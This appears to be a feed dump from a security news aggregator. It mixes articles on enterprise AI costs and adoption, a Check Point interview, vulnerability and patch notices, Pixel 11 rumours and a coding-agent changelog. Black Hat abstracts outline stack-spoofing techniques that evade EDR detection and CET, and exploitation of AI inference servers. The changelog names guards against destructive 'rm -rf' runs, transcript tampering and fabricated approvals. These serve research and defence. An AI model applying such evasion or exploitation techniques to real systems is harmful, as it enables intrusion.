    The mechanism is straightforward: When development leaders understand that their team has consumed $200,000 in tokens this month, they start asking questions. Why are we using the most expensive model for that task? What if a smaller model could handle 80% of these queries? Are prompts being repeated unnecessarily? These questions lead to optimization, and optimization leads to savings.

    Model smarts

    Another lesson from the cloud experience is that the most expensive option is rarely the best option. This sounds obvious, but organizations tend to default to the largest, most capable AI model for every task, regardless of whether that capability is actually required.

    The emerging best practice is to match model capability to task requirements. A simple classification task doesn’t need a frontier model. A straightforward text-generation job might be handled perfectly by a smaller, cheaper model running locally or via a less expensive API tier. The efficiency gains from this approach can be substantial.

    Some enterprises are going further, adopting older models or open source alternatives for appropriate use cases. Qualcomm, for instance, has invested in running models on its own hardware rather than relying exclusively on cloud-based model providers. This approach requires more technical sophistication but can dramatically reduce per-token costs for high-volume applications.

    The real challenge

    Here’s what concerns me most about the current situation. Many enterprises deployed AI without putting adequate cost management infrastructure in place up front. They got caught up in the excitement of the technology, the competitive pressure to move fast, and the belief that the benefits would justify whatever the costs turned out to be. That approach worked when AI projects were small-scale experiments. Now that AI is becoming core to business operations, the lack of financial controls is becoming a serious problem. We need to bring the same rigor to AI procurement and deployment that we’ve brought to every other significant technology investment.

    The organizations that succeed will treat AI token costs as a managed operational expense rather than an unpredictable variable. That means deploying the same tools and disciplines that have worked for cloud cost management: visibility, accountability, optimization, and continuous improvement.

    Cloud providers and the managed service partners who work with them have been doing this for years. They built the tools, developed the best practices, and trained the workforce that can now apply those skills to the AI cost challenge. If your organization is struggling with AI spending, finding partners with deep finops experience might be the fastest path to control.

    The good news is that this crisis is solvable. But it requires acknowledging the problem, investing in the right capabilities, and accepting that technology deployment without financial discipline is a path to trouble.

    Get smart about your AI spending. The CFO will thank you.

    ]]>         <![CDATA[OpenAI Launches GPT-5.6, ChatGPT Work, and New Desktop App With Built-In Codex]]> https://tsecurity.de/de/3658954/ios-mac-os/openai-launches-gpt-56-chatgpt-work-and-new-desktop-app-with-built-in-codex/ https://tsecurity.de/de/3658954/ios-mac-os/openai-launches-gpt-56-chatgpt-work-and-new-desktop-app-with-built-in-codex/ Fri, 10 Jul 2026 09:10:06 +0200 🍏 iOS / Mac OS tsecurity.de <![CDATA[Check Point CTO Jonathan Zanger sees AI elevating the value of cyber]]> https://tsecurity.de/de/3658925/it-security-nachrichten/check-point-cto-jonathan-zanger-sees-ai-elevating-the-value-of-cyber/ https://tsecurity.de/de/3658925/it-security-nachrichten/check-point-cto-jonathan-zanger-sees-ai-elevating-the-value-of-cyber/ Fri, 10 Jul 2026 09:08:10 +0200 📰 IT Security Nachrichten tsecurity.de

    Check Point Software CTO Jonathan Zanger met with CSO Spain during the software company’s Engage 2026 user conference last week in Paris.

    At the event, Check Point executives and representatives discussed how the company is dealing with various types of threats, how it is adopting AI securely, and how Check Point and others can leverage AI for their own benefit.

    “That’s why I believe 2026 is a fascinating year to work in this field. Every technological change drastically affects cybersecurity,” Zanger told CSO Spain. “I think we’re currently witnessing the biggest change since the advent of the internet. So, without a doubt, we’re facing significant transformations.”

    What follows CSO Spain’s discussion with Zanger, edited for length and clarity.

    How are AI agents changing the way we detect and stop cyber threats? What new risks are they creating?

    I’ll try to answer on several levels. The first is how we operate differently as a cybersecurity company protecting our clients.

    We’ve always had teams of experts monitoring threats, identifying malicious actors, and creating new defenses for our products. Consequently, whenever we detected an APT group, we investigated it and created signatures to protect against it. Or when we saw a suspicious network used by threat actors, we identified its location and blocked it. While it’s true that, in many ways, we were always limited by the number of talented people capable of gathering that intelligence and turning it into actionable defenses, what has AI allowed us to do? Dramatically scale this operation.

    Could you give an example?

    We’ve always had red teams testing our products to ensure their security. And we’ve always valued those teams highly because they made our products significantly more secure. Now, those teams are incredibly powerful thanks to AI, working 20 times more efficiently. What do we have now? A combination of people and AI agents, with around 300 instances continuously monitoring and testing our systems. This is what allows us to deliver better cybersecurity and scale our capabilities.

    But it’s clear that malicious actors are using AI to carry out their operations…

    That’s right. Just as it helped us scale our operations, it’s also helped them. We’re now seeing a proliferation of smaller, faster threat groups and malicious actors, capable of conducting phishing campaigns with less expertise than before. Consequently, we’re seeing more people entering the field of offensive cybersecurity. So, perhaps the final piece of the puzzle is that organizations are adopting AI systems, and now we have a new challenge: How are we going to protect them?

    In this context, what security challenges arise when AI agents can access and operate enterprise systems? In your opinion, what should organizations prepare for?

    Systems used to be deterministic: Given the same input, they produced a predictable output, which made them easier to protect. With AI agents, this changes, as they understand natural language, handle ambiguity, and their behavior isn’t always predictable, requiring a new approach to cybersecurity. Furthermore, something very important must be considered: AI depends on the systems it’s connected to. There’s a tension between security teams, who seek to limit these connections to reduce risks, and those promoting AI, who want to integrate it throughout the organization to gather information from any area.

    In other words, the more connections AI has, the greater the attack surface and the security risk.

    How is generative AI making it easier for attackers to create cyberattacks? From your perspective, what are the most important defenses today?

    AI has transformed software development, making it much faster and more accessible. But what’s happening? Cybercriminals are exploiting this same capability, allowing them to escalate attacks like phishing, ransomware, malware, and vulnerability exploitation, increasing both the speed and volume of threats.

    What do you recommend doing in this scenario?

    Defenders must also embrace AI. Detection and response are no longer enough when an attack can cause damage in seconds, so prevention plays a key role. While attackers maintain a certain advantage because they only need to hit once and are not subject to regulations, defenders have a differentiating factor: collaboration between teams, organizations, and security companies, which helps to level the playing field.

    But you can’t deny that many AI platforms still have vulnerabilities…

    That’s right, because innovation often advances faster than security. That’s why I recommend incorporating a layer of security from the very beginning of any AI project and not assuming that a platform is secure simply because it comes from a reputable vendor.

    How can AI platforms be used securely in the face of the expanding attack surface? What do you consider to be the most significant risk?

    Throughout the evolution of systems, innovation, and organizations, security hasn’t always been a priority from the outset of product development. We see this because we investigate different platforms, especially AI platforms, to assess their security. This has allowed us to uncover serious vulnerabilities in every AI platform we’ve analyzed over the past year, as well as in all major AI development tools.

    Now, I’m not criticizing anyone here, because their job is to launch innovative products quickly. But I do believe security gaps exist. That’s why I think that, in many cases, this is the role of organizations like ours: to work with companies to ensure that when they use this innovative technology, they do so in a way that protects their data, safeguards their employees, and doesn’t increase their risk.

    Would you share any lessons you’ve learned from adopting AI?

    Absolutely. The lesson I take away is that when you adopt AI, whatever the use case, you must do so by incorporating a layer of security. And don’t assume a platform is secure just because it comes from an innovative AI company.

    In your opinion, what are the most important innovations in security platforms today? And how do they help customers and organizations stay protected?

    I’d like to identify three major areas where AI is transforming cybersecurity. The first is the use of AI to strengthen defense operations. Just as it has revolutionized software development, AI is changing how security teams work, enabling them to detect vulnerabilities, assess security posture, implement changes, and respond to threats more quickly, efficiently, and scalably.

    The second area is the protection of the AI ​​applications and agents themselves. As these technologies are integrated into corporate networks, the challenge arises of ensuring they do not become a new attack vector or expose sensitive information. This is a very recent field, driven by the rapid adoption of generative AI, in which there is still ample room for innovation.

    Finally, I want to emphasize the need to defend against increasingly rapid and sophisticated AI-driven attacks. To this end, I advocate combining advanced models capable of detecting zero-day vulnerabilities and anomalous behavior with AI systems that simulate the behavior of an ethical attacker. This way, organizations can anticipate cybercriminals, identify their attack surface, and strengthen their defenses before an incident occurs.

    The final question concerns the needs of small and medium-sized organizations, which want AI systems to be more transparent and easier to audit when they help detect or respond to threats. What are your thoughts on this?

    I believe explainability is a crucial part of what we must offer our clients as cybersecurity advocates. There’s always a tension between blocking something immediately and, at the same time, being able to explain why it was blocked. People like to understand what happened, and this presents a delicate balance. Therefore, my perspective is that we should automatically block as many threats as possible, without requiring human intervention, but we must also enable humans to understand what happened and modify the future behavior of the protection mechanisms.

    VĂ­ctor Manuel FernĂĄndez attending Engage 2026 as a guest of Check Point Software.

    ]]>         <![CDATA[How to Check and Switch Your KWin Rendering Backend on Linux]]> https://tsecurity.de/de/3658659/linux-tipps/how-to-check-and-switch-your-kwin-rendering-backend-on-linux/ https://tsecurity.de/de/3658659/linux-tipps/how-to-check-and-switch-your-kwin-rendering-backend-on-linux/ Fri, 10 Jul 2026 06:08:18 +0200 🐧 Linux Tipps tsecurity.de <![CDATA[PoC and Technical Details Released for Linux Kernel Privilege Escalation Vulnerability]]> https://tsecurity.de/de/3657907/it-security-nachrichten/poc-and-technical-details-released-for-linux-kernel-privilege-escalation-vulnerability/ https://tsecurity.de/de/3657907/it-security-nachrichten/poc-and-technical-details-released-for-linux-kernel-privilege-escalation-vulnerability/ Thu, 09 Jul 2026 19:53:45 +0200 📰 IT Security Nachrichten tsecurity.de A researcher has published proof-of-concept exploit code and a full technical breakdown of a Linux kernel vulnerability that lets any logged-in desktop user escalate to root, requiring no special privileges, no container escape, and no setuid helper. The flaw, tracked as CVE-2026-46215, lives in the Direct Rendering Manager (DRM) Graphics Execution Manager (GEM) subsystem and […]

    The post PoC and Technical Details Released for Linux Kernel Privilege Escalation Vulnerability appeared first on Cyber Security News.

    ]]>         <![CDATA[The enterprise AI challenge nobody solves with code generation alone]]> https://tsecurity.de/de/3657798/it-nachrichten/the-enterprise-ai-challenge-nobody-solves-with-code-generation-alone/ https://tsecurity.de/de/3657798/it-nachrichten/the-enterprise-ai-challenge-nobody-solves-with-code-generation-alone/ Thu, 09 Jul 2026 19:02:21 +0200 📰 IT Nachrichten tsecurity.de Presented by SAP

    Generating code with AI is fast, but getting that code to run reliably inside a large enterprise, integrated with live systems, governed for compliance, and maintainable over years requires foundational work that most organizations underestimate.

    While 81% of all organizations have a detailed strategy, only 12–16% reach AI‑driven execution, says SAP's Michael Ameling, CPO of SAP Business Technology Platform, and the reasons rarely come down to the quality of the generated code.

    "Across industries, enterprises that have invested heavily in AI tooling are hitting a wall when generated code meets the reality of their existing environments, because generating code and operationalizing it are not the same problem," Ameling says.

    There are specific requirements for deploying AI-generated logic at enterprise scale: what data and integration readiness actually look like, how governance works when AI agents move from producing recommendations to executing workflows, and how development teams are changing their role as AI takes over more of the coding work.

    Why AI code generation fails in enterprise production environments

    The productivity gains from AI code generation are real and well-documented, but the ease of prototyping has given many organizations a misleading sense of how far along they actually are.

    "Generating code is one thing," Ameling says. "Enterprise customers, including multinationals and large organizations, need to ensure there are no compromises in compliance or security. Code that runs reliably for ten or twenty years, as it does at many of SAP's largest customers, also has to be maintained, patched, and understood by whoever inherits it. Life cycle management, in other words, does not generate itself."

    The issue is rarely the generation quality. Teams build something compelling, then discover they lack access to the data it depends on, or the integrations it assumes, or the permissions required to run it in a real environment. The problem is essentially that AI amplifies an organization's existing data and process maturity, but it can't substitute for it.

    This dynamic intensifies as AI moves from producing code to executing actions. Latency, cost, and system load all increase when logic runs continuously against live data rather than rendering a one-time output. The performance requirements of an autonomous agent operating across a multinational's transaction systems are categorically different from those of a developer copilot.

    How to connect AI-generated logic to fragmented enterprise systems

    The architecture challenge that most enterprise AI projects underestimate is integration. Real enterprise environments are not clean slates: they combine cloud systems, legacy on-premise infrastructure, fragmented data stores, and dozens of business applications that were never designed to talk to each other. Getting AI-generated logic to operate reliably across all of them requires a layer that unifies data access, process context, and governance, and it has to be in place before any agent starts executing. And organizations that see AI as a reason to defer infrastructure modernization are making a mistake.

    "The question is not whether to modernize or not. Of course you need to modernize," Ameling says. "But the value you get on top of this is much higher with AI. Federated data access and harmonized process layers are not alternatives to upgrading a fragmented landscape, they're what make the upgrade worthwhile."

    At the platform level, this translates into a set of practical requirements: structured data integration, end-to-end process visibility, and the ability to discover and connect to APIs across both modern and legacy systems. SAP's approach with the Business AI Platform draws on tools including its Joule Studio, Integration Suite, Business Data Cloud, and SAP AI Agent Hub enterprise architecture layer to provide that context. The goal is to give AI-generated logic accurate, current knowledge of what a business is doing and how, rather than just access to raw data.

    AI agents handle large challenges by dividing them into smaller, autonomous tasks, with each agent responsible for a specific domain, and all coordinated toward a shared outcome. A financial close, for example, involves dozens of discrete sub-processes. Agents handling each task in parallel, within defined constraints, can compress cycle times dramatically, but only if the underlying systems they interact with are coherent and accessible.

    The governance and oversight that AI agents require in production

    When AI moves from assistant to operational actor, the governance questions loom large, because agents that trigger workflows, update records, and interact with live business systems need the same accountability framework that applies to human employees, i.e., identities, defined privileges, and auditable behavior.

    There are two distinct models:

    Principal propagation, where an agent acts on a user’s behalf, inheriting that user’s permissions and scope.

    System-triggered agents, where the agent operates under its own identity and role-defined privileges, functioning more like an automated HR role than a personal assistant.

    Both models require the same underlying infrastructure: an agent hub where operators can see which agents exist, what APIs they can access, and what they are authorized to do. Observability also needs to be operationalized correctly for AI, combined with both technical and business evals.

    "In production, openness is very important," Ameling says. "We use OpenTelemetry as a framework, so we can integrate with other solutions, for end-to-end observability of the tool, third-party agents and the like."

    On top of that, standard technical evals, which test whether an agent produces consistent outputs, are necessary but not enough. Business evals assess whether an agent is actually moving the performance indicators it was deployed to improve, but it has to work end-to-end.

    Where the testing happens is equally important. The traditional software development cycle across dev, test, and production environments breaks down when a model produces different outputs depending on whether it is running against test data or live data. Getting to trustworthy AI in production means accepting that validation looks fundamentally different from what engineering teams have practiced for decades, with live environment testing, even A/B/C testing to ensure outcomes are reliable.

    How AI-driven code generation is changing software engineering roles

    The role of the developer is not disappearing in this environment, but its center of gravity is shifting. The productivity multiplier is significant when developers can run multiple coding agents in parallel across open terminals, each working on a separate problem and each taking several minutes to complete. But it introduces a new kind of cognitive demand, because humans have to stay in the loop. That means tracking context across concurrent workstreams, evaluating outputs that range across large codebases, and making architectural judgments that no agent can be trusted to make alone.

    "The more specific and complete the prompt, the less intervention is required, and developers are learning that bringing more context upfront pays dividends in reduced back-and-forth," Ameling says. "But the output still needs to be understood, not just accepted."

    The competitive edge will remain intellectual property, not tooling. The companies that pull ahead will be those that most effectively encode their domain knowledge into the systems they build.

    "A manufacturer's process expertise, a financial institution's risk logic, a logistics firm's routing intelligence, these are the assets that AI can accelerate, but only if the organizations that hold them do the work to make them accessible and usable," Ameling says. "Protect that, and apply AI to accelerate your differentiation."

    Sponsored articles are content produced by a company that is either paying for the post or has a business relationship with VentureBeat, and they’re always clearly marked. For more information, contact sales@venturebeat.com.

    ]]>         <![CDATA[Black Hat Europe 2025 | Ghost In The Stack: Evolving Call Stack Spoofing In A Post-CET Era]]> https://tsecurity.de/de/3657461/it-security-video/black-hat-europe-2025-ghost-in-the-stack-evolving-call-stack-spoofing-in-a-post-cet-era/ https://tsecurity.de/de/3657461/it-security-video/black-hat-europe-2025-ghost-in-the-stack-evolving-call-stack-spoofing-in-a-post-cet-era/ Thu, 09 Jul 2026 17:03:07 +0200 🎥 IT Security Video tsecurity.de Author: Black Hat - Bewertung: 2x - Views:23

    Stack spoofing is a sophisticated technique that manipulates a thread's call stack so that code execution appears to originate from a different, benign location. In 2023, with StackMoonwalk, we presented a novel approach to this that slipped through common stack-based detection logic. Since then, we've watched defenders build on that research to expand telemetry and design more robust detectors. At the same time, we've seen increased adoption of hardware-backed mitigations (HSP|CET), which could offer another source of truth to spot this technique. Two years later, we asked ourselves whether it was finally time for stack spoofing to die. Well... it wasn't.

    The talk begins in today's non-HSP environments, exploring modern detection frameworks built on call stack analysis and showing how fragile assumptions make them easy to bypass in practice. As proof, we introduce a new technique based on Moonwalk and a new primitive, proxy frames, to exploit these gaps. However, as clever as these methods are, their ROP-based primitives are welcomed by a crash the moment HSP/CET comes into play.

    This pushed our research back to square one: could stack spoofing be rebuilt to survive CET enforcement? The result is the first known CET-compliant stack spoofing framework (BYOUD), delivered in three functional variants across distinct execution architectures. We first demonstrate how the framework can alter call stack resolution without triggering CP exceptions and then introduce the State-Driven Indirect Execution Architecture (SDIE), which takes the concept further to achieve a full HSP bypass.

    We will conclude our talk by outlining the key lessons learned throughout this research: why overreliance on any single, emerging mitigation is dangerous, and how fragile design assumptions in detection logic can turn into blind spots. We will also provide concrete strategies and countermeasures so defenders can build stronger, more resilient detection capable of catching the presented techniques.

    By: Alessandro Magnosi | Senior Security Consultant, SpecterOps

    https://blackhat.com/eu-25/briefings/schedule/?#ghost-in-the-stack-evolving-call-stack-spoofing-in-a-post-cet-era-48965

    ]]>         <![CDATA[AI won’t transform your business if you’re still running it the same way]]> https://tsecurity.de/de/3656605/it-security-nachrichten/ai-wont-transform-your-business-if-youre-still-running-it-the-same-way/ https://tsecurity.de/de/3656605/it-security-nachrichten/ai-wont-transform-your-business-if-youre-still-running-it-the-same-way/ Thu, 09 Jul 2026 12:05:39 +0200 📰 IT Security Nachrichten tsecurity.de

    Many organizations have seen real gains in productivity and automation from experimenting with AI. But only 34% are using AI to deeply transform their businesses, according to Deloitte’s 2026 State of Generative AI in the Enterprise report. Meanwhile, 37% are using the technology at a surface level with little or no change to underlying business processes.

    That may explain why so many organizations are still waiting for the transformative ROIs they expected.

    We’ve seen this before. During the process reengineering movement of the late 1980s and early 1990s, and again during the dot-com era, organizations invested heavily in new technologies and new ways of working. Many failed, not because the technology was flawed, but because they were unwilling to rethink how the business itself operated.

    A textile manufacturer learned that lesson the hard way more than 30 years ago. The company implemented software designed to support a fundamentally different way of doing business but insisted on preserving decades-old workflows and management practices. The technology was expected to conform to the business, rather than the business adapting to the technology. The implementation failed.

    Many companies are at risk of making the same mistake with AI because they rely on a bottom-up approach, where employees find ways to use the technology to solve the problem of the day: writing emails, summarizing meetings and accelerating familiar workflows.

    Top-down transformation starts with a harder question: if AI had existed when we built this company, would we have designed the business this way? The organizations seeing transformative returns are the ones rethinking how their business operates from the ground up, not just streamlining existing workflows.

    Four reasons AI transformation stalls

    Organizations often assume that providing access to AI tools will naturally lead to transformation. The reality is that people, incentives and mindset are what determine success.

    1. Organizations reward the wrong behaviors

    One of the fastest ways to derail transformation is to reward people for preserving the status quo.

    The textile manufacturer encountered this problem when it redesigned its manufacturing ordering system. Leadership wanted greater visibility across the production process and a more responsive, just-in-time operating model. But shift managers were still compensated based on how many pounds moved through their individual work centers each day. Their incentives rewarded maximizing output within their own area instead of supporting the broader changes leadership wanted to implement.

    The lesson applies directly to AI transformation. Organizations often talk about reinventing workflows while continuing to evaluate employees using metrics designed for a pre-AI world.

    People optimize for how they’re measured. If compensation, accountability and recognition remain tied to legacy processes, employees will naturally protect those processes. Transformation requires aligning incentives with the future state of the business.

    2. Communication breaks down in the middle

    Executives may have a clear vision for transformation, but that vision often weakens as it moves through the organization.

    At the textile manufacturer, senior leadership understood the goal of becoming a just-in-time manufacturer. The technology team understood it because they were involved in the implementation. Middle management, however, never fully embraced the vision.

    The result was that executives talked about doing things differently while managers continued reinforcing existing behaviors and employees received conflicting signals about what success looked like.

    Many AI initiatives today face the same challenge. Leaders announce ambitious transformation goals, but managers continue operating under assumptions built around the previous way of working.

    AI transformation requires both top-down direction and bottom-up execution. The middle layers of the organization serve as the connective tissue between the two. Without that connection, transformation efforts quickly become technology projects rather than business initiatives.

    3. Training focuses on tools instead of transformation

    Many organizations approach AI training primarily as a technology exercise. Employees gain access to a new tool, and training focuses on how to write prompts, use copilots or navigate the new application. Those skills are important, but they are only part of the equation.

    At the textile manufacturer, technology teams needed a deeper understanding of how the production floor actually operated. At the same time, business leaders needed a better understanding of what the technology could enable. Neither side could successfully redesign the process on its own.

    A similar dynamic exists with AI. Technology teams need business context, and business teams need technology context. Organizations that can bring those perspectives together through cross-functional teams focused on solving business problems rather than technology implementation are the ones making the most progress.

    4. People need permission to work differently

    One of the least discussed barriers to AI adoption is psychological. Many people still associate their value with effort; they take pride in the time, expertise and work required to complete a task. When AI reduces that effort, some employees become uncomfortable acknowledging its role.

    For some, admitting AI helped feels like diminishing their contribution, which is why leadership visibility matters. Employees need to see leaders openly using AI, sharing examples and discussing how it is helping them work differently. They need to hear that the goal is not simply working faster but applying judgment, creativity and expertise in higher-value ways.

    AI transformation is ultimately a mindset shift. People need permission to redefine what productive work looks like.

    Transformation requires more than upskilling

    Much of the conversation around AI focuses on upskilling. While new skills are important, they are not the primary obstacle to transformation. The bigger challenge is creating a workforce that wants to participate in it.

    Some employees will embrace experimentation, seek new opportunities and help shape the future of the business. Others will continue looking for ways to preserve the processes that made them successful in the past. Leaders need to recognize the difference and create opportunities for the right people to rise to the occasion. Employees with a fixed mindset will resist change regardless of the tools available. 

    The organizations that succeed will communicate not just what they’re trying to accomplish, but why. Many employees assume AI initiatives are purely about efficiency. The message from leadership needs to be different: we are rebuilding how this business operates, and you are part of that.

    Increasingly, everyone has access to the same AI tools. Two organizations can deploy the same technology and achieve dramatically different outcomes depending on how they align incentives, communicate expectations and rethink long-standing business processes.

    Companies that treat AI as a way to make existing work more efficient will continue to see incremental gains, while those willing to question whether that work should be done the same way at all will discover entirely new ways to operate.

    This article is published as part of the Foundry Expert Contributor Network.
    Want to join?

    ]]>         <![CDATA[GitLab Patches 8 Vulnerabilities Affecting CE and EE Installations]]> https://tsecurity.de/de/3656557/it-security-nachrichten/gitlab-patches-8-vulnerabilities-affecting-ce-and-ee-installations/ https://tsecurity.de/de/3656557/it-security-nachrichten/gitlab-patches-8-vulnerabilities-affecting-ce-and-ee-installations/ Thu, 09 Jul 2026 11:52:28 +0200 📰 IT Security Nachrichten tsecurity.de GitLab has released critical security updates to address eight vulnerabilities in its Community Edition (CE) and Enterprise Edition (EE). Administrators are urged to upgrade immediately to versions 19.1.2, 19.0.4, or 18.11.7. The patch rollout on July 8, 2026, includes fixes for high-, medium-, and low-severity flaws affecting core functionalities such as wiki rendering, repository mirroring, […]

    The post GitLab Patches 8 Vulnerabilities Affecting CE and EE Installations appeared first on GBHackers Security | #1 Globally Trusted Cyber Security News Platform.

    ]]>         <![CDATA[v2.1.205]]> https://tsecurity.de/de/3655497/downloads/v21205/ https://tsecurity.de/de/3655497/downloads/v21205/ Wed, 08 Jul 2026 23:31:56 +0200 💾 Downloads tsecurity.de What's changed
    • Added an auto mode rule that blocks tampering with session transcript files
    • Fixed --json-schema silently producing unstructured output when the schema was invalid, and schemas using the format keyword being rejected
    • Fixed a message sent while Claude was working being silently lost when the turn ended at the --max-turns limit
    • Fixed Windows worktree removal deleting files outside the worktree when an NTFS junction or directory symlink existed inside it
    • Fixed background agents staying shown as "failed" or "completed" in the agent list after being resumed with SendMessage
    • Fixed background jobs flipping from "needs input" back to "working" in the agent list when the agent's turn contained no readable text
    • Fixed claude attach erroring when a background agent was mid-upgrade restart instead of waiting for it to come back
    • Fixed session-to-PR linking missing a PR created in a Bash call whose output exceeded the 30K inline limit
    • Fixed claude mcp add-from-claude-desktop getting stuck when a server name contains unsupported characters; invalid names are now reported and remaining servers still import
    • Fixed a plugin LSP server that fails to initialize preventing a valid LSP server from another plugin handling the same file extension
    • Fixed a Windows crash when the directory Claude was launched from is deleted, locked, or unmounted while a command is running
    • Fixed a crash when a file watcher was closed while a directory scan was still in flight
    • Fixed project verify skills being rewritten on every session instead of only when a documented command changed
    • Fixed the agent view rendering one line too high and clipping its header when the job list slightly overflowed the screen
    • Fixed background tasks in the web and mobile Remote Control panels showing stale "Running" status by forwarding full task state on every membership change
    • Improved auto mode to ask before running rm -rf on a variable it can't resolve from context
    • Auto-update binary downloads now stream to disk instead of buffering in memory, cutting the updater's peak memory usage by roughly 400 MB
    • Background task notifications now explicitly state that no human input has occurred, preventing fabricated in-transcript approvals from being acted on
    • Improved agent view: sessions that edit, merge, comment on, or push to an existing PR now link it in claude agents
    • Improved agent view: rows now show a colored state word and a classifier-written headline instead of raw tool call text, and the peek opens with full status including the exact ask for blocked sessions
    • /doctor is now a full setup checkup that can diagnose and fix issues; /checkup is its alias
    • Reserved the "Claude Browser" MCP server name (alongside "Claude Preview") ahead of the Claude Desktop pane rename; user-configured MCP servers can no longer register under either name
    • Fixed Cowork VM-mode local-agent sessions failing to start with "Not logged in ¡ Please run /login" on CLI 2.1.203+
    ]]>         <![CDATA[Scattered Spider, Windows Device ID Case and Incident Response Lessons]]> https://tsecurity.de/de/3654979/it-security-nachrichten/scattered-spider-windows-device-id-case-and-incident-response-lessons/ https://tsecurity.de/de/3654979/it-security-nachrichten/scattered-spider-windows-device-id-case-and-incident-response-lessons/ Wed, 08 Jul 2026 19:23:49 +0200 📰 IT Security Nachrichten tsecurity.de Incident Response and Evidence Analyst

    Recently unsealed US court documents reveal that Microsoft allegedly helped investigators identify an alleged member of the Scattered Spider cybercrime group by using a unique Windows Device Identifier (GDID). The case demonstrates how modern investigations rely on digital evidence from multiple sources rather than a single technical artefact. It also highlights why organisations need mature incident response plans, forensic readiness and well-tested incident  response playbooks to investigate cyber incidents effectively.

    ]]>         <![CDATA[Black Hat Europe 2025 | Breaking AI Inference Systems: Lessons From Pwn2Own Berlin]]> https://tsecurity.de/de/3654668/it-security-video/black-hat-europe-2025-breaking-ai-inference-systems-lessons-from-pwn2own-berlin/ https://tsecurity.de/de/3654668/it-security-video/black-hat-europe-2025-breaking-ai-inference-systems-lessons-from-pwn2own-berlin/ Wed, 08 Jul 2026 16:47:37 +0200 🎥 IT Security Video tsecurity.de Author: Black Hat - Bewertung: 0x - Views:0

    At Pwn2Own Berlin 2025, AI systems made their debut as official competition targets. This talk documents our successful exploitation of real-world AI infrastructure in that context focusing on vulnerabilities we discovered and demonstrated in Ollama and NVIDIA Triton Inference Server.

    We detail our security research methodology, which included threat modeling, file format fuzzing, and plugin analysis. In Ollama, we discovered multiple bugs before and during the competition, including an authentication bypass (CVE issued) and a heap overflow found via fuzzing—although it was patched three weeks before the event. In Triton Server, we uncovered a command injection vulnerability in its model configuration pipeline, leading to reliable remote code execution.

    We'll also briefly explore other AI targets such as RedisAI, ChromaDB, and NVIDIA's container runtime, including insight into a potential stack overflow rediscovery via fuzzing.

    This session blends concrete technical details with broader insight, sharing actionable takeaways for red teamers and defenders working with inference systems. Attendees will leave with a solid understanding of how to audit, attack, and better defend AI model infrastructure.

    By:
    Patrick Ventuzelo | CEO & Founder, Fuzzinglabs
    Nabih Benazzouz | COO, Fuzzinglabs

    https://blackhat.com/eu-25/briefings/schedule/?#breaking-ai-inference-systems-lessons-from-pwn2own-berlin-48948

    ]]>         <![CDATA[Google Pixel 11: Die wichtigsten Leaks und Gerüchte]]> https://tsecurity.de/de/3654494/it-nachrichten/google-pixel-11-die-wichtigsten-leaks-und-geruechte/ https://tsecurity.de/de/3654494/it-nachrichten/google-pixel-11-die-wichtigsten-leaks-und-geruechte/ Wed, 08 Jul 2026 15:47:40 +0200 📰 IT Nachrichten tsecurity.de

    Das Pixel 11 gehört zweifellos zu den am meisten erwarteten Android-Smartphones des Jahres 2026 – und das aus gutem Grund. Auch wenn man argumentieren könnte, dass es sich nicht um eine so umfassende Neugestaltung handelte wie bei den jüngsten iPhone-17-Modellen von Apple, umfasst die Pixel-10-Reihe dennoch eine Reihe herausragender Geräte, die viele gerne als ihr Alltagsgerät nutzen.

    Der verbesserte Tensor-G5-Chipsatz ermöglichte es, dass mehr von Googles hauseigenen KI-Funktionen in die integrierte Software Einzug hielten. Die Einführung von Pixelsnap bedeutete, dass Android-Fans, die schon lange neidisch auf Apples Magsafe-Technologie waren, endlich alle Vorteile genießen konnten, die eine Qi2-Magnetverbindung mit sich bringt.

    Diese Verbesserungen ergänzen die üblichen Vorzüge, die wir an Pixel-Smartphones schätzen – nämlich die Art und Weise, wie ihre Kameras Hauttöne in Bildern präzise wiedergeben, sowie die wunderbar übersichtliche Gestaltung von Stock-Android. Genau aus diesem Grund finden sich Pixel-Smartphones regelmäßig in unseren Übersichten zu den besten Smartphones wieder.

    Vor diesem Hintergrund sind wir gespannt, in welche Richtung Google mit der Pixel-11-Reihe als Nächstes gehen wird – insbesondere da sich der Wettbewerb durch aktuelle Android-Spitzenmodelle wie das OnePlus 15 und das Honor Magic 8 Pro weiter verschärft, ganz zu schweigen vom Oppo Find X9 Pro, das in Sachen Smartphone-Fotografie ein absolutes Kraftpaket ist.

    Neueste GerĂźchte zum Pixel 11

    Alle Pixel-11-Modelle kÜnnten eine umfassende Kameraßberarbeitung erfahren: Sowohl das Pixel 11 als auch das 11 Pro Fold sollen mit einem neuen 50-Megapixel-Hauptobjektiv ausgestattet werden, während das Pixel 11 Pro und das 11 Pro XL komplett neue Haupt- und Teleobjektive erhalten werden. Nachdem Gerßchte ßber eine Face-ID-Alternative kursierten, scheint es nun so, als wßrde diese Funktion auf die Modelle des nächsten Jahres verschoben werden.

    Wann wird das Google Pixel 11 erscheinen?

    Die Google-Pixel-11-Reihe wird voraussichtlich im August 2026 auf den Markt kommen, wahrscheinlich im Rahmen der jährlichen Sommerveranstaltung von Google. Der offizielle Termin dafßr ist der 12. August 2026.

    Google Pixel 9 Pro review 1

    Dominik Tomaszewski / Foundry

    Gerßchten zufolge soll die Pixel-11-Serie tatsächlich erneut bis zu vier Geräte umfassen. Sollte Google wie in den letzten Jahren verfahren, wird das Pixel 11 Pro Fold später auf den Markt kommen als die anderen Modelle.

    Diese Dokumente bestätigen die Codenamen für die Pixel-Geräte des Jahres 2026, wobei die Pixel-11-Serie Namen mit Bärenbezug trägt, wie „cubs“ für das Standardmodell Pixel 11, „grizzly“ für das Pixel 11 Pro, „kodiak“ für das Pixel 11 Pro XL und „yogi“ für das Pixel 11 Pro Fold.

    FrĂźher brachte Google neue Smartphones im Oktober auf den Markt, hat den Termin jedoch bei den letzten beiden Generationen vorverlegt. Zum Vergleich finden Sie hier die Erscheinungsdaten der vorherigen Generationen:

    • Google Pixel 10: August 2025
    • Google Pixel 9: August 2024
    • Google Pixel 8: Oktober 2023
    • Google Pixel 7: Oktober 2022
    • Google Pixel 6: Oktober 2021

    Aktuell bester Preis: Google Pixel 10 Pro

    Shop
    Preis
    Amazon
    699,00 €
    notebooksbilliger
    739,00 €
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    749,00 €
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    759,95 €
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    1.085,91 €
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    1.085,91 €
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    1.099,00 €
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    1.116,08 €
    Preisvergleich (Ăźber 24.000 Shops weltweit)
    Produkt
    Preis
    Preisvergleich von Backmarket

    Wie viel wird das Google Pixel 11 kosten?

